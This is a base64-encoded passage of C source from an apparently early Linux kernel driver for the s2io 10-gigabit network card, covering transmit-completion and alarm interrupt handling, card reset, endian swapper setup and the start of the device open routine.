YWw2NCk7CgoJZm9yKGk9MDtpPG5pYy0+Y29uZmlnLlR4RklGT051bTtpKyspIHsKCQlvZmZzZXRf aW5mbyAgPSBuaWMtPm1hY19jb250cm9sLnR4X2N1cnJfZ2V0X2luZm9baV07CgkJb2Zmc2V0X2lu Zm8xID0gbmljLT5tYWNfY29udHJvbC50eF9jdXJyX3B1dF9pbmZvW2ldOwoJCXR4ZGxwID0gbmlj LT5tYWNfY29udHJvbC50eGRsX3N0YXJ0W2ldKwoJCQkobmljLT5jb25maWcuTWF4VHhEcyAqIG9m ZnNldF9pbmZvLm9mZnNldCk7CgkJd2hpbGUoKCEodHhkbHAtPkNvbnRyb2xfMSAmIFRYRF9MSVNU X09XTl9YRU5BKSkgJiYKCQkJKG9mZnNldF9pbmZvLm9mZnNldCAhPSBvZmZzZXRfaW5mbzEub2Zm c2V0KSAmJgoJCQkodHhkbHAtPkhvc3RfQ29udHJvbCkpIHsKCQkJLyogQ2hlY2sgZm9yIFR4RCBl cnJvcnMgKi8KCQkJaWYgKHR4ZGxwLT5Db250cm9sXzEgJiBUWERfVF9DT0RFKQoJCQkJcHJpbnRr KCIqKipUeEQgZXJyb3IgJWxseFxuIiwKCQkJCQkodHhkbHAtPkNvbnRyb2xfMSAmIFRYRF9UX0NP REUpKTsKCgkJCXNrYj0oc3RydWN0IHNrX2J1ZmYgKikoKGRtYWFkZHJfdCl0eGRscC0+SG9zdF9D b250cm9sKTsKCQkJaWYoc2tiID09IE5VTEwgKSB7CgkJCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6 IE51bGwgc2tiICIsIGRldi0+bmFtZSk7CgkJCQlEQkdfUFJJTlQoRVJSX0RCRywiaW4gVHggRnJl ZSBJbnRyXG4iKTsKCQkJCXJldHVybjsKCQkJfQoJCQluaWMtPnR4X3BrdF9jb3VudCsrOwoKCQkJ I2lmZGVmIEFSQ0hfUFBDNjQKCQkJZnJnX2NudCA9IHNrYl9zaGluZm8oc2tiKS0+bnJfZnJhZ3M7 CgoJCQkvKiAgRm9yIHVuZnJhZ21lbnRlZCBza2IgKi8KCQkJaWYoIWZyZ19jbnQpCgkJCQlwY2lf dW5tYXBfc2luZ2xlKG5pYy0+cGRldiwgCgkJCQkJdHhkbHAtPkJ1ZmZlcl9Qb2ludGVyLAoJCQkJ CXNrYi0+bGVuLCBQQ0lfRE1BX1RPREVWSUNFKTsKCQkJZWxzZSB7CgkJCQlUeERfdCAqdHhkcCA9 IHR4ZGxwOwoKCQkJCXBjaV91bm1hcF9zaW5nbGUobmljLT5wZGV2LCAKCQkJCQl0eGRscC0+QnVm ZmVyX1BvaW50ZXIsIAoJCQkJCXNrYi0+bGVuIC0gc2tiLT5kYXRhX2xlbiwgCgkJCQkJUENJX0RN QV9UT0RFVklDRSk7CgoJCQkJZm9yKGo9MDtqPGZyZ19jbnQ7aisrKSB7CgkJCQkJc2tiX2ZyYWdf dCAqZnJhZyA9IAoJCQkJCQkmc2tiX3NoaW5mbyhza2IpLT5mcmFnc1tqXTsKCgkJCQkJdHhkcCsr OwoJCQkJCXBjaV91bm1hcF9zaW5nbGUgKG5pYy0+cGRldiwgCgkJCQkJCXR4ZHAtPkJ1ZmZlcl9Q b2ludGVyLAoJCQkJCQlmcmFnLT5zaXplLCBQQ0lfRE1BX1RPREVWSUNFKTsKCQkJCX0KCgkJCX0K CQkJI2Vsc2UKCQkJcGNpX3VubWFwX3NpbmdsZShuaWMtPnBkZXYsIHR4ZGxwLT5CdWZmZXJfUG9p bnRlciwKCQkgICAgICAgICAgICAgICAgKHNrYi0+bGVuKSAtIChza2ItPmRhdGFfbGVuKSwgUENJ X0RNQV9UT0RFVklDRSk7CgkJCSNlbmRpZgoJCQlkZXZfa2ZyZWVfc2tiX2lycShza2IpOwoJCQlt ZW1zZXQodHhkbHAsIDAsIChzaXplb2YoVHhEX3QpKm5pYy0+Y29uZmlnLk1heFR4RHMpKTsKCQkJ LyogVXBkYXRpbmcgdGhlIHN0YXRpc3RpY3MgYmxvY2sgKi8KCQkJbmljLT5zdGF0cy50eF9wYWNr ZXRzKys7CgkJCW5pYy0+c3RhdHMudHhfYnl0ZXMgKz0gc2tiLT5sZW47CgkJCSNpZiBERUJVR19P TgoJCQluaWMtPnR4cGt0X2J5dGVzICs9IHNrYi0+bGVuOwkKCQkJY250Kys7CgkJCSNlbmRpZgoJ CQlvZmZzZXRfaW5mby5vZmZzZXQrKzsKCQkJb2Zmc2V0X2luZm8ub2Zmc2V0ICU9IG9mZnNldF9p bmZvLmZpZm9fbGVuKzE7CgkJCXR4ZGxwID0gbmljLT5tYWNfY29udHJvbC50eGRsX3N0YXJ0W2ld KwoJCQkobmljLT5jb25maWcuTWF4VHhEcyAqIG9mZnNldF9pbmZvLm9mZnNldCk7CgkJCW5pYy0+ bWFjX2NvbnRyb2wudHhfY3Vycl9nZXRfaW5mb1tpXS5vZmZzZXQgPSAKCQkJCW9mZnNldF9pbmZv Lm9mZnNldDsKCQl9CgkJI2lmIERFQlVHX09OCgkJREJHX1BSSU5UKElOVFJfREJHLCIlczogZnJl ZWQgJWQgVHggUGt0c1xuIixkZXYtPm5hbWUsY250KTsKCQkjZW5kaWYKCX0KCi8qIElmIGEgVHgg UEtUIGlzIGJlaW5nIHN0b3JlZCB0byBiZSB0cmFuc21pdHRlZCwgaXQgY2FuIGJlIGRvbmUgYXQg dGhpcwogKiAgcG9pbnQgYXMgYSBUeCBjb21wbGV0ZSBpbnRlcnJ1cHQgaGFzIGJlZW4gcmFpc2Vk LiBXaGljaCBtZWFucyBzb21lIAogKiAgZnJlZSBUeERzIHdvdWxkIGJlIGF2YWlsYWJsZS4KICov CgkvL2lmKG5pYy0+dHhfcGt0X3B0cikgewoJLy9xc2tiID0gKHN0cnVjdCBza19idWZmICopbmlj LT50eF9wa3RfcHRyOwoJaWYobmV0aWZfcXVldWVfc3RvcHBlZChkZXYpKQoJCW5ldGlmX3dha2Vf cXVldWUoZGV2KTsKCS8vIGRldl9xdWV1ZV94bWl0KHFza2IpOyAKCS8vbmljLT50eF9wa3RfcHRy ID0gTlVMTDsKCS8vfQp9CgovKiAgCiAqICBJbnB1dCBBcmd1bWVudHM6IAogKiAgZGV2aWNlIHBy aXZhdGUgdmFyaWFibGUKICogIFJldHVybiBWYWx1ZTogCiAqICBOT05FCiAqICBEZXNjcmlwdGlv bjogCiAqICBJZiB0aGUgaW50ZXJydXB0IHdhcyBuZWl0aGVyIGJlY2F1c2Ugb2YgUnggcGFja2V0 IG9yIFR4IAogKiAgY29tcGxldGUsIHRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkLiBJZiB0aGUgaW50 ZXJydXB0IHdhcyB0byBpbmRpY2F0ZSBhIGxvc3MKICogIG9mIGxpbmssIHRoZSBPU00gbGluayBz dGF0dXMgaGFuZGxlciBpcyBpbnZva2VkIGZvciBhbnkgb3RoZXIgYWxhcm0gCiAqICBpbnRlcnJ1 cHQgdGhlIGJsb2NrIHRoYXQgcmFpc2VkIHRoZSBpbnRlcnJ1cHQgaXMgZGlzcGxheWVkIGFuZCBh IEgvVyByZXNldCAKICogIGlzIGlzc3VlZC4KICovCnN0YXRpYyB2b2lkIGFsYXJtSW50ckhhbmRs ZXIoc3RydWN0IHMyaW9fbmljICpuaWMpCnsKCXN0cnVjdCBuZXRfZGV2aWNlICpkZXYgPSAoc3Ry dWN0IG5ldF9kZXZpY2UgKiluaWMtPmRldjsKCVhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0gKFhF TkFfZGV2X2NvbmZpZ190ICopbmljLT5iYXIwOwoJaW50IHF1aWVzY2VuY2VfZmxhZyA9IEZBTFNF LCBjbnQgPSAwOwoJcmVnaXN0ZXIgdTY0IHZhbDY0ID0gMDsKCi8qIEhhbmRsaW5nIGxpbmsgc3Rh dHVzIGNoYW5nZSBlcnJvciBJbnRyICovCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+bWFjX3JtYWNf ZXJyX3JlZyk7CglpZih2YWw2NCAmIFJNQUNfTElOS19TVEFURV9DSEFOR0VfSU5UKSB7CgkJdmFs NjQgPSByZWFkNjQoJmJhcjAtPmFkYXB0ZXJfc3RhdHVzKTsKCQlpZih2ZXJpZnlfeGVuYV9xdWll c2NlbmNlKHZhbDY0LCBuaWMtPmRldmljZV9lbmFibGVkX29uY2UpCgkJCT09VFJVRSkgewoJCQlk byB7CgkJCQl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+YWRhcHRlcl9zdGF0dXMpOwoJCQkJaWYoISh2 YWw2NCAmKEFEQVBURVJfU1RBVFVTX1JNQUNfUkVNT1RFX0ZBVUxUIHwKCQkJCQlBREFQVEVSX1NU QVRVU19STUFDX0xPQ0FMX0ZBVUxUKSkpIHsKCQkJCQl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+YWRh cHRlcl9jb250cm9sKTsKCQkJCQl2YWw2NCB8PSBBREFQVEVSX0NOVExfRU47CgkJCQkJd3JpdGU2 NCgmYmFyMC0+YWRhcHRlcl9jb250cm9sLCB2YWw2NCk7CgkJCQkJdmFsNjQgfD0gQURBUFRFUl9M RURfT047CgkJCQkJd3JpdGU2NCgmYmFyMC0+YWRhcHRlcl9jb250cm9sLCB2YWw2NCk7CgkJCQkJ dmFsNjQgPSByZWFkNjQoJmJhcjAtPmFkYXB0ZXJfc3RhdHVzKTsKCQkJCQlpZigodmFsNjQgJiAK CQkJCQkoQURBUFRFUl9TVEFUVVNfUk1BQ19SRU1PVEVfRkFVTFQgfAoJCQkJCSBBREFQVEVSX1NU QVRVU19STUFDX0xPQ0FMX0ZBVUxUKSkpIHsKCQkJCQkJREJHX1BSSU5UKEVSUl9EQkcsIiVzOiIs CgkJCQkJCQkJZGV2LT5uYW1lKTsKCQkJCQkJREJHX1BSSU5UKEVSUl9EQkcsIiBMaW5rIGRvd24i KTsKCQkJCQkJREJHX1BSSU5UKEVSUl9EQkcsImFmdGVyICIpOwoJCQkJCQlEQkdfUFJJTlQoRVJS X0RCRywiZW5hYmxpbmcgIik7CgkJCQkJCURCR19QUklOVChFUlJfREJHLCJkZXZpY2UgXG4iKTsK CQkJCQkJY250Kys7CQoJCQkJCQljb250aW51ZTsKCQkJCQl9CgkJCQkJaWYobmljLT5kZXZpY2Vf ZW5hYmxlZF9vbmNlID09IEZBTFNFKSB7CgkJCQkJCW5pYy0+ZGV2aWNlX2VuYWJsZWRfb25jZSA9 IFRSVUU7CgkJCQkJfQoJCQkJCXMyaW9fbGluayhuaWMsIDEpOwoJCQkJCWJyZWFrOwoJCQkJfQoJ CQkJY250Kys7CQoJCQkJaWYoY250ID4gMTApIHsKCQkJCQlzMmlvX2xpbmsobmljLCAwKTsKCQkJ CQlicmVhazsKCQkJCX0KCQkJCW1kZWxheSg1MCk7CgkJCX13aGlsZShUUlVFKTsKCQkJcXVpZXNj ZW5jZV9mbGFnID0gVFJVRTsKCQl9Cgl9Ci8qIEFja25vd2xlZGdlIGludGVycnVwdCBhbmQgY2xl YXIgdGhlIFIxIHJlZ2lzdGVyICovCgl2YWw2NCA9IHJlYWQ2NCgmYmFyMC0+bWFjX3JtYWNfZXJy X3JlZyk7Cgl3cml0ZTY0KCZiYXIwLT5tYWNfcm1hY19lcnJfcmVnLCB2YWw2NCk7CgoJaWYocXVp ZXNjZW5jZV9mbGFnID09IEZBTFNFKSB7CgkvKgoJICogVGhlIERldmljZSBjb3VsZCBub3QgcmVh Y2ggcXVpZXNjZW5jZSBzdGF0ZS4gU3RvcHBpbmcgZGV2aWNlCgkgKiBYbWl0IHF1ZXVlLiBUaGlz IGludHVybiB3aWxsIGZvcmNlIGEgSC9XIHJlc2V0IGluIHRoZSBUeF9UaW1lb3UgCgkgKiBmdW5j dGlvbi4KCSAqLwoJCURCR19QUklOVChFUlJfREJHLCIlczogZnJvbSBMaW5rIEludHIsICIsIGRl di0+bmFtZSk7CgkJREJHX1BSSU5UKEVSUl9EQkcsImRldmljZSBpcyBub3QgUXVpZXNjZW50XG4i KTsKCQkvL25ldGlmX3N0b3BfcXVldWUoZGV2KTsKCX0JCgoJI2lmZGVmIENPTkZJR1VSRV9FWFRF TkRFRF9FUlJPUl9IQU5ETElORwoJLyogSGFuZGxpbmcgU0VSUiBlcnJvcyBieSBzdG9wcGluZyBk ZXZpY2UgWG1pdCBxdWV1ZSBhbmQgZm9yY2luZyAKCSAqIGEgSC9XIHJlc2V0LgoJICovCgl2YWw2 NCA9IHJlYWQ2NCgmYmFyMC0+c2Vycl9zb3VyY2UpOwoJaWYoIHZhbDY0ICYgU0VSUl9TT1VSQ0Vf QU5ZICkgewoJCURCR19QUklOVChFUlJfREJHLCIlczogRGV2aWNlIGluZGljYXRlcyAiLCBkZXYt Pm5hbWUpOwoJCURCR19QUklOVChFUlJfREJHLCJzZXJpb3VzIGVycm9yISFcbiIpOwkJCgkJbmV0 aWZfc3RvcF9xdWV1ZShkZXYpOwoJfQoJI2VuZGlmCi8qIE90aGVyIHR5cGUgb2YgaW50ZXJydXB0 cyBhcmUgbm90IGJlaW5nIGhhbmRsZWQgbm93LCAgVE9ETyovCn0KCi8qCiAqICBJbnB1dCBBcmd1 bWVudDogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBkZXZpY2Ugc3RydWN0dXJlLCB3 aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25pYyBzdHJ1Y3R1cmUuCiAqICBS ZXR1cm4gdmFsdWU6CiAqICAgU1VDQ0VTUyBvbiBzdWNjZXNzIGFuZCBGQUlMVVJFIG9uIGZhaWx1 cmUuCiAqICBEZXNjcmlwdGlvbjoKICogICBGdW5jdGlvbiB0aGF0IHdhaXRzIGZvciBhIGNvbW1h bmQgdG8gV3JpdGUgaW50byBSTUFDIEFERFIgREFUQSByZWdpc3RlcnMgCiAqICAgdG8gYmUgY29t cGxldGVkIGFuZCByZXR1cm5zIGVpdGhlciBzdWNjZXNzIG9yIGVycm9yIGRlcGVuZGluZyBvbiB3 aGV0aGVyIAogKiAgIHRoZSBjb21tYW5kIHdhcyBjb21wbGV0ZSBvciBub3QuIAogKi8KaW50IHdh aXRGb3JDbWRDb21wbGV0ZShuaWNfdCAqc3ApCnsKCVhFTkFfZGV2X2NvbmZpZ190ICpiYXIwID0g KFhFTkFfZGV2X2NvbmZpZ190ICopc3AtPmJhcjA7CglpbnQgcmV0ID0gRkFJTFVSRSwgY250ID0g MDsKCXU2NCB2YWw2NDsKCgl3aGlsZShUUlVFKSB7CgkgICAgdmFsNjQgPSBSTUFDX0FERFJfQ01E X01FTV9SRCB8IFJNQUNfQUREUl9DTURfTUVNX1NUUk9CRV9ORVdfQ01EIHwKICAgIAkgICAgUk1B Q19BRERSX0NNRF9NRU1fT0ZGU0VUKDApOwoJICAgIHdyaXRlNjQoJmJhcjAtPnJtYWNfYWRkcl9j bWRfbWVtLCB2YWw2NCk7CgkgICAgdmFsNjQgPSByZWFkNjQoJmJhcjAtPnJtYWNfYWRkcl9jbWRf bWVtKTsKCQlpZighdmFsNjQpIHsKCQkJcmV0ID0gU1VDQ0VTUzsKCQkJYnJlYWs7CgkJfQoJCW1k ZWxheSg1MCk7CgkJaWYoY250KysgPiAxMCkKCQkJYnJlYWs7Cgl9CgoJcmV0dXJuIHJldDsKfQoK LyoKICogIElucHV0IEFyZ3VtZW50OiAKICogIHNwIC0gcHJpdmF0ZSBtZW1iZXIgb2YgdGhlIGRl dmljZSBzdHJ1Y3R1cmUsIHdoaWNoIGlzIGEgcG9pbnRlciB0byB0aGUgCiAqICAgCXMyaW9fbmlj IHN0cnVjdHVyZS4KICogIFJldHVybiB2YWx1ZToKICogICB2b2lkLgogKiAgRGVzY3JpcHRpb246 CiAqICAgRnVuY3Rpb24gdG8gUmVzZXQgdGhlIGNhcmQuIFRoaXMgZnVuY3Rpb24gdGhlbiBhbHNv IHJlc3RvcmVzIHRoZSBwcmV2aW91c2x5CiAqICAgc2F2ZWQgUENJIGNvbmZpZ3VyYXRpb24gc3Bh Y2UgcmVnaXN0ZXJzIGFzIHRoZSBjYXJkIHJlc2V0IGFsc28gcmVzZXRzIHRoZQogKiAgIENvbmZp Z3JhdGlvbiBzcGFjZS4KICovCnZvaWQgczJpb19yZXNldChuaWNfdCAqc3ApCnsKCVhFTkFfZGV2 X2NvbmZpZ190ICpiYXIwID0gKFhFTkFfZGV2X2NvbmZpZ190ICopc3AtPmJhcjA7Cgl1NjQgdmFs NjQ7CgoJdmFsNjQgPSBTV19SRVNFVF9BTEw7Cgl3cml0ZTY0KCZiYXIwLT5zd19yZXNldCwgdmFs NjQpOwoJbWRlbGF5KDMwMCk7CgovKiBSZXN0b3JlIHRoZSBQQ0kgc3RhdGUgc2F2ZWQgZHVyaW5n IGluaXRpYWxpemFyaW9uLiAqLwoJcGNpX3Jlc3RvcmVfc3RhdGUoc3AtPnBkZXYsIHNwLT5jb25m aWdfc3BhY2UpOwoKCW1kZWxheSgzMDApOwoJdmFsNjQgPSByZWFkNjQoJmJhcjAtPnhtc2lfYWRk cmVzcyk7IAoKCXNwLT5kZXZpY2VfZW5hYmxlZF9vbmNlID0gRkFMU0U7Cn0KCi8qCiAqICBJbnB1 dCBBcmd1bWVudDogCiAqICBzcCAtIHByaXZhdGUgbWVtYmVyIG9mIHRoZSBkZXZpY2Ugc3RydWN0 dXJlLCB3aGljaCBpcyBhIHBvaW50ZXIgdG8gdGhlIAogKiAgIAlzMmlvX25pYyBzdHJ1Y3R1cmUu CiAqICBSZXR1cm4gdmFsdWU6CiAqICBTVUNDRVNTIG9uIHN1Y2Nlc3MgYW5kIEZBSUxVUkUgb24g ZmFpbHVyZS4KICogIERlc2NyaXB0aW9uOgogKiBGdW5jdGlvbiB0byBzZXQgdGhlIHN3YXBwZXIg Y29udHJvbCBvbiB0aGUgY2FyZCBjb3JyZWN0bHkgZGVwZW5kaW5nIG9uIHRoZQogKiAnZW5kaWFu bmVzcycgb2YgdGhlIHN5c3RlbS4KICovCmludCBzMmlvX3NldF9zd2FwcGVyKG5pY190ICpzcCkK ewpzdHJ1Y3QgbmV0X2RldmljZSAqZGV2ID0gc3AtPmRldjsKWEVOQV9kZXZfY29uZmlnX3QgKmJh cjAgPSAoWEVOQV9kZXZfY29uZmlnX3QgKilzcC0+YmFyMDsKdTY0IHZhbDY0OwoKLyogIFNldCBw cm9wZXIgZW5kaWFuIHNldHRpbmdzIGFuZCB2ZXJpZnkgdGhlIHNhbWUgYnkgcmVhZGluZyB0aGUg UElGIAogKiAgRmVlZC1iYWNrIHJlZ2lzdGVyLgogKi8KI2lmZGVmICBfX0JJR19FTkRJQU4KLyog VGhlIGRldmljZSBieSBkZWZhdWx0IHNldCB0byBhIGJpZyBlbmRpYW4gZm9ybWF0LCBzbyBhIGJp ZyBlbmRpYW4gCiAqIGRyaXZlciBuZWVkIG5vdCBzZXQgYW55dGhpbmcuCiAqLwojaWZkZWYgQVJD SF9QUEM2NAoJd3JpdGU2NCgmYmFyMC0+c3dhcHBlcl9jdHJsLCAweGZmZmZmZmZmZmZmZmZmZmYp OwoJdmFsNjQgPSAoCglTV0FQUEVSX0NUUkxfUElGX1JfRkUgICAgfAoJU1dBUFBFUl9DVFJMX1BJ Rl9SX1NFICAgIHwKCVNXQVBQRVJfQ1RSTF9QSUZfV19GRSAgICB8CglTV0FQUEVSX0NUUkxfUElG X1dfU0UgICAgfAoJU1dBUFBFUl9DVFJMX1RYUF9GRSAgICAgIHwKCVNXQVBQRVJfQ1RSTF9UWFBf U0UgICAgICB8CglTV0FQUEVSX0NUUkxfVFhEX1JfRkUgICAgfAoJU1dBUFBFUl9DVFJMX1RYRF9X X0ZFICAgIHwKCVNXQVBQRVJfQ1RSTF9UWEZfUl9GRSAgICB8CglTV0FQUEVSX0NUUkxfUlhEX1Jf RkUgICAgfAoJU1dBUFBFUl9DVFJMX1JYRF9XX0ZFICAgIHwKCVNXQVBQRVJfQ1RSTF9SWEZfV19G RSAgICB8CglTV0FQUEVSX0NUUkxfWE1TSV9GRSAgICAgfAoJU1dBUFBFUl9DVFJMX1hNU0lfU0Ug ICAgIHwKCVNXQVBQRVJfQ1RSTF9TVEFUU19GRSAgICB8CglTV0FQUEVSX0NUUkxfU1RBVFNfU0Ug KTsKCXdyaXRlNjQoJmJhcjAtPnN3YXBwZXJfY3RybCwgdmFsNjQpOwojZW5kaWYKI2Vsc2UKLyog SW5pdGlhbGx5IHdlIGVuYWJsZSBhbGwgYml0cyB0byBtYWtlIGl0IGFjY2Vzc2libGUgYnkgdGhl IGRyaXZlciwKICogdGhlbiB3ZSBzZWxlY3RpdmVseSBlbmFibGUgb25seSB0aG9zZSBiaXRzIHRo YXQgd2Ugd2FudCB0byBzZXQuCiAqLwoJd3JpdGU2NCgmYmFyMC0+c3dhcHBlcl9jdHJsLCAweGZm ZmZmZmZmZmZmZmZmZmYpOwoJdmFsNjQgPSAoICAgCglTV0FQUEVSX0NUUkxfUElGX1JfRkUgICAg fAoJU1dBUFBFUl9DVFJMX1BJRl9SX1NFICAgIHwKCVNXQVBQRVJfQ1RSTF9QSUZfV19GRSAgICB8 CglTV0FQUEVSX0NUUkxfUElGX1dfU0UgICAgfAoJU1dBUFBFUl9DVFJMX1RYUF9GRSAgICAgIHwK CVNXQVBQRVJfQ1RSTF9UWFBfU0UgICAgICB8CglTV0FQUEVSX0NUUkxfVFhEX1JfRkUgICAgfAoJ U1dBUFBFUl9DVFJMX1RYRF9SX1NFICAgIHwKCVNXQVBQRVJfQ1RSTF9UWERfV19GRSAgICB8CglT V0FQUEVSX0NUUkxfVFhEX1dfU0UgICAgfAoJU1dBUFBFUl9DVFJMX1RYRl9SX0ZFICAgIHwKCVNX QVBQRVJfQ1RSTF9SWERfUl9GRSAgICB8CglTV0FQUEVSX0NUUkxfUlhEX1JfU0UgICAgfAoJU1dB UFBFUl9DVFJMX1JYRF9XX0ZFICAgIHwKCVNXQVBQRVJfQ1RSTF9SWERfV19TRSAgICB8CglTV0FQ UEVSX0NUUkxfUlhGX1dfRkUgICAgfAoJU1dBUFBFUl9DVFJMX1hNU0lfRkUgICAgIHwKCVNXQVBQ RVJfQ1RSTF9YTVNJX1NFICAgICB8CglTV0FQUEVSX0NUUkxfU1RBVFNfRkUgICAgfAoJU1dBUFBF Ul9DVFJMX1NUQVRTX1NFICk7Cgl3cml0ZTY0KCZiYXIwLT5zd2FwcGVyX2N0cmwsIHZhbDY0KTsK I2VuZGlmCgovKiAgVmVyaWZ5aW5nIGlmIGVuZGlhbiBzZXR0aW5ncyBhcmUgYWNjdXJhdGUgYnkg cmVhZGluZyBhIGZlZWRiYWNrCiAqICByZWdpc3Rlci4KICovCgl2YWw2NCA9IHJlYWQ2NCgmYmFy MC0+cGlmX3JkX3N3YXBwZXJfZmIpOwoJaWYodmFsNjQgIT0gMHgwMTIzNDU2Nzg5QUJDREVGKSB7 CgkvKiBFbmRpYW4gc2V0dGluZ3MgYXJlIGluY29ycmVjdCwgY2FsbHMgZm9yIGFub3RoZXIgZGVr a28uICovCgkJI2lmbmRlZiBYRU5BX0FSQ0hfNjQKCQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IEVu ZGlhbiBzZXR0aW5ncyBhcmUgd3JvbmcsICIsZGV2LT5uYW1lKTsKCQlEQkdfUFJJTlQoRVJSX0RC RywiZmVlZGJhY2sgcmVhZCAlbGx4XG4iLCB2YWw2NCk7CgkJI2Vsc2UKCQlEQkdfUFJJTlQoRVJS X0RCRywiJXM6IEVuZGlhbiBzZXR0aW5ncyBhcmUgd3JvbmcsICIsZGV2LT5uYW1lKTsKCQlEQkdf UFJJTlQoRVJSX0RCRywiZmVlZGJhY2sgcmVhZCAlbHhcbiIsIHZhbDY0KTsKCQkjZW5kaWYKCQly ZXR1cm4gRkFJTFVSRTsKCX0KCglyZXR1cm4gU1VDQ0VTUzsKfQoKLyogKioqKioqKioqKioqKioq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqICovCi8qIEZ1bmN0aW9u cyBkZWZpbmVkIGJlbG93IGNvbmNlcm4gdGhlIE9TIHBhcnQgb2YgdGhlIGRyaXZlciAqLwovKiAq KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiog Ki8KLyoKICogIElucHV0IEFyZ3VtZW50OiAKICogIGRldiAtIHBvaW50ZXIgdG8gdGhlIGRldmlj ZSBzdHJ1Y3R1cmUuCiAqICBSZXR1cm4gdmFsdWU6CiAqICBTVUNDRVNTIG9uIHN1Y2Nlc3MgYW5k IGFuIGFwcHJvcHJpYXRlICgtKXZlIGludGVnZXIgYXMgZGVmaW5lZCBpbiBlcnJuby5oCiAqICAg ZmlsZSBvbiBmYWlsdXJlLgogKiAgRGVzY3JpcHRpb246CiAqICBUaGlzIGZ1bmN0aW9uIGlzIHRo ZSBvcGVuIGVudHJ5IHBvaW50IG9mIHRoZSBkcml2ZXIuIEl0IG1haW5seSBjYWxscyBhCiAqICBm dW5jdGlvbiB0byBhbGxvY2F0ZSBSeCBidWZmZXJzIGFuZCBpbnNlcnRzIHRoZW0gaW50byB0aGUg YnVmZmVyCiAqICBkZXNjcmlwdG9ycyBhbmQgdGhlbiBlbmFibGVzIHRoZSBSeCBwYXJ0IG9mIHRo ZSBOSUMuIAogKi8KaW50IHMyaW9fb3BlbihzdHJ1Y3QgbmV0X2RldmljZSAqZGV2KQp7CgluaWNf dCAqc3AgPSAobmljX3QgKilkZXYtPnByaXY7CglpbnQgaSxyZXQgPSAwOwoKLyogIEluaXRpYWxp emUgdGhlIEgvVyBJL08gcmVnaXN0ZXJzICovCglpZihpbml0TmljKHNwKSAhPSAwKSB7CgkJREJH X1BSSU5UKEVSUl9EQkcsIiVzOiBIL1cgaW5pdGlhbGl6YXRpb24gZmFpbGVkXG4iLGRldi0+bmFt ZSk7CgkJcmV0dXJuIEZBSUxVUkU7Cgl9CgovKiAgQWZ0ZXIgcHJvcGVyIGluaXRpYWxpemF0aW9u IG9mIEgvVywgcmVnaXN0ZXIgSVNSICovCglpZihyZXF1ZXN0X2lycSgoaW50KXNwLT5pcnEsIHMy aW9faXNyLCBTQV9TSElSUSwgc3AtPm5hbWUsIGRldikpIHsKCQlzMmlvX3Jlc2V0KHNwKTsKCQlE QkdfUFJJTlQoRVJSX0RCRywiJXM6IElTUiByZWdpc3RyYXRpb24gZmFpbGVkXG4iLGRldi0+bmFt ZSk7CgkJcmV0dXJuIEZBSUxVUkU7Cgl9CgovKiAgU2V0dGluZyBpdHMgcmVjZWl2ZSBtb2RlICov CglzMmlvX3NldF9tdWx0aWNhc3QoZGV2KTsKCi8qICBJbml0aWFsaXppbmcgdGhlIFJ4IGJ1ZmZl cnMuIEZvciBub3cgd2UgYXJlIGNvbnNpZGVyaW5nIG9ubHkgMSBSeCByaW5nCiAqIGFuZCBpbml0 aWFsaXppbmcgYnVmZmVycyBpbnRvIDEwMTYgUnhEcyBvciA4IFJ4IGJsb2NrcwogKi8KCWZvcihp PTA7IGk8c3AtPmNvbmZpZy5SeFJpbmdOdW07IGkrKykgewoJLyogCgkgKiBTaW5jZSBJbnRlcnJ1 cHRzIGFyZSBub3QgeWV0IGluaXRpYWxpemVkLCBubyB0aHJlYXQgb2YgbXVsdGlwbGUgCgkgKiBj YWxscyB0byBmaWxsX3J4X2J1ZmZlcnMgZnVuY3Rpb24gYnkgdGFza2xldHMgYW5kIGludGVycnVw dHMuIFRodXMKCSAqIG5vIG5lZWQgdG8gaG9sZCBhIHNwaW4gbG9jayBoZXJlLgoJICovCgkJaWYo KHJldCA9IGZpbGxfcnhfYnVmZmVycyhzcCxpKSkpIHsKCQkJREJHX1BSSU5UKEVSUl9EQkcsIiVz OiBPdXQgb2YgbWVtb3J5IGluIE9wZW5cbiIsCgkJCQkJZGV2LT5uYW1lKTsKCQkJczJpb19yZXNl dChzcCk7CgkJCWZyZWVfaXJxKGRldi0+aXJxLGRldik7CgkJCWZyZWVSeEJ1ZmZlcnMoc3ApOwoJ CQlyZXR1cm4gLUVOT01FTTsKCQl9CgkJREJHX1BSSU5UKElORk9fREJHLCJCdWYgaW4gcmluZzol ZCBpcyAlZDpcbiIsaSwgCgkJCWF0b21pY19yZWFkKCZzcC0+cnhfYnVmc19sZWZ0W2ldKSk7Cgl9 CgovKiAgRW5hYmxlIHRhc2tsZXQgZm9yIHRoZSBkZXZpY2UgKi8KCXRhc2tsZXRfaW5pdCgmc3At PnRhc2ssIHMyaW9fdGFza2xldCwgKHVuc2lnbmVkIGxvbmcpZGV2KTsKCi8qICBFbmFibGUgUngg VHJhZmZpYyBhbmQgaW50ZXJydXB0cyBvbiB0aGUgTklDICovCglpZihzdGFydE5pYyhzcCkpIHsK CQlEQkdfUFJJTlQoRVJSX0RCRywiJXM6IFN0YXJ0aW5nIE5JQyBmYWlsZWRcbiIsZGV2LT5uYW1l KTsKCQl0YXNrbGV0X2tpbGwoJnNwLT50YXNrKTsKCQlzMmlvX3Jlc2V0KHNwKTsKCQlmcmVlX2ly cShkZXYtPmlycSxkZXYpOwoJCWZyZWVSeEJ1ZmZlcnMoc3ApOwoJCXJldHVybiBGQUlMVVJFOwoJ fQoKCXNwLT5kZXZpY2VfY2xvc2VfZmxhZyA9IEZBTFNFOyAvKiBEZXZpY2UgaXMgdXAgYW5kIHJ1 bm5pbmcuICovCgluZXRpZl9zdGFydF9xdWV1ZShkZXYpOwoJLy9NT0RfSU5DX1VTRV9DT1VOVDsK CglyZXR1cm4gU1VDQ0VTUzsKfQoKLyoKICogIElucHV0IEFyZ3VtZW50L3M6IAogKiAgZGV2IC0g 